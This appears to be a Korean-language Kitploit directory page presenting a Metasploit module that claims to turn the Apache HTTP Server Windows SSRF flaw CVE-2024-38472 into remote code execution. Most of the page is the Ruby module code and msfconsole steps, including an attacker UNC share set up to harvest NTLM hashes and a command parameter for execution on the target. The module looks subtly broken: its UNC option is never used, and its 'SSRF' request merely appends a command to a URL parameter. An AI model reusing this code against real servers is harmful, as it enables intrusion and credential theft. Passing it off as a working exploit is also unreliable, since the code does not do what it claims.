Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-38472 — CVE-2024-38472 SSRF 취약점을 악용하여 Windows의 Apache HTTP Server에서 내부 서비스 상호 작용을 통해 원격 코드 실행을 달성하는 Metasploit 모듈. | Kitploit
도구/GitHubGitHub/abdurahmon3236/cve-2024-38472
Penetration Testing FrameworksExploit FrameworksVulnerability AnalysisLateral MovementWeb Application ExploitationPost-ExploitationCommand and ControlRed TeamingPayload Development
GitHubabdurahmon3236/cve-2024-38472

CVE-2024-38472

CVE-2024-38472 SSRF 취약점을 악용하여 Windows의 Apache HTTP Server에서 내부 서비스 상호 작용을 통해 원격 코드 실행을 달성하는 Metasploit 모듈.

42년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

Windows의 Apache HTTP Server에 있는 SSRF 취약점(CVE-2024-38472)을 위한 RCE(원격 코드 실행) Metasploit 모듈을 만드는 것은 까다롭습니다. SSRF 자체가 직접적으로 RCE를 발생시키지 않기 때문입니다. 하지만 SSRF는 특히 내부 서비스와 상호 작용하거나 2차 취약점을 트리거하는 데 사용할 수 있는 경우, RCE를 달성하기 위한 한 단계가 될 수 있습니다.

SSRF를 통한 RCE 전략

SSRF를 통해 RCE를 달성하려면 일반적으로 다음이 필요합니다:

  1. SSRF를 통해 악용할 수 있는 특정 공격에 취약한 내부 서비스
  2. 임의 코드 실행을 허용하는 잘못된 구성 또는 추가 취약점

이 예제에서는 HTTP 요청을 수락하고 임의 코드를 실행하도록 속일 수 있는 내부 2차 서비스(예: Jenkins 서버 또는 노출된 API가 있는 다른 서비스)를 트리거할 수 있다고 가정하겠습니다.

예제 Metasploit 모듈

SSRF를 악용하여 내부 서비스와 상호 작용함으로써 RCE를 달성하려고 시도하는 Metasploit 모듈을 제작하겠습니다. 이 경우, 남용할 수 있는 스크립트 콘솔이 노출된 내부 Jenkins 서버를 시뮬레이션합니다.

다음 코드를 Metasploit Framework 설치 디렉토리의 modules/exploits/multi/http에 apache_unc_ssrf_rce.rb로 저장하십시오.

root@kitploit:~
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache HTTP Server Windows UNC SSRF to RCE',
      'Description'    => %q{
        This module exploits a Server-Side Request Forgery (SSRF) vulnerability in Apache HTTP Server on Windows,
        which can potentially be leveraged to achieve Remote Code Execution (RCE) by interacting with internal
        services like Jenkins.
      },
      'Author'         =>
        [
          'Your Name'  # Your name or handle
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-38472'],
          ['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'Platform'       => ['win'],
      'Arch'           => [ARCH_CMD],
      'Targets'        => [
        ['Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' }]
      ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RHOSTS,
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, "The base path to the vulnerable application", '/']),
        OptString.new('UNC_SERVER', [ true, "UNC path of the malicious server to receive NTLM hashes", '\\\\attacker-server\\share']),
        OptString.new('INTERNAL_SERVICE', [ true, "Internal service URL to exploit for RCE", 'http://internal-service/script']),
        OptString.new('CMD', [ true, "Command to execute", 'calc.exe'])
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.headers['Server'] && res.headers['Server'].include?('Apache')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    ssrf_payload = {
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path),
      'version' => '1.1',
      'headers' => {
        'Host' => datastore['RHOSTS'],
        'Content-Type' => 'application/x-www-form-urlencoded'
      },
      'data'    => "url=#{datastore['INTERNAL_SERVICE']}?script=#{Rex::Text.uri_encode(datastore['CMD'])}"
    }

    begin
      print_status("Sending SSRF request to #{datastore['RHOSTS']}:#{datastore['RPORT']}#{target_uri.path}")
      res = send_request_cgi(ssrf_payload)

      if res && res.code == 200
        print_good("Successfully triggered the internal service")
      else
        print_error("Failed to trigger the internal service: #{res.inspect}")
      end
    rescue ::Rex::ConnectionError => e
      print_error("Connection failed: #{e.message}")
    rescue ::Interrupt
      print_status("User interrupted the module execution")
    rescue ::Exception => e
      print_error("An unexpected error occurred: #{e.message}")
    end
  end
end

사용 방법

  1. 모듈 저장: 모듈을 Metasploit Framework 설치 디렉토리의 modules/exploits/multi/http에 apache_unc_ssrf_rce.rb로 저장하십시오.

    root@kitploit:~
    /path/to/metasploit-framework/modules/exploits/multi/http/apache_unc_ssrf_rce.rb
    
  2. Metasploit 로드: 터미널을 열고 다음을 실행하여 Metasploit Framework를 시작하십시오:

    root@kitploit:~
    msfconsole
    
  3. 새 모듈 사용: Metasploit 콘솔에서 다음 명령을 사용하여 새 익스플로잇 모듈을 로드하십시오:

    root@kitploit:~
    use exploit/multi/http/apache_unc_ssrf_rce
    
  4. 구성 및 실행: RHOSTS, RPORT, TARGETURI, UNC_SERVER, INTERNAL_SERVICE, CMD와 같은 필요한 옵션을 설정하십시오. 그런 다음 모듈을 실행하십시오.

    root@kitploit:~
    msf6 > use exploit/multi/http/apache_unc_ssrf_rce
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RHOSTS target_ip
    RHOSTS => target_ip
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RPORT 80
    RPORT => 80
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set TARGETURI /
    TARGETURI => /
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set UNC_SERVER \\\\attacker-server\\share
    UNC_SERVER => \\attacker-server\share
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set INTERNAL_SERVICE http://internal-service/script
    INTERNAL_SERVICE => http://internal-service/script
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set CMD calc.exe
    CMD => calc.exe
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > run
    

중요 고려 사항

  • 시스템을 테스트하거나 익스플로잇하기 전에 적절한 권한이 있는지 확인하십시오.
  • 이 모듈은 교육 및 테스트 목적으로 설계되었습니다. 프로덕션 시스템에서 사용하기 전에 항상 안전하고 통제된 환경에서 테스트하십시오.

이 개선된 Metasploit 모듈은 취약한 Windows Apache HTTP 서버에 조작된 요청을 보내 SSRF 취약점을 트리거하고 내부 서비스와 상호 작용하여 RCE를 달성하려고 시도합니다. 취약점의 구체적인 특성과 대상 환경에 따라 페이로드와 모듈을 필요에 맞게 조정하십시오.

도구 다운로드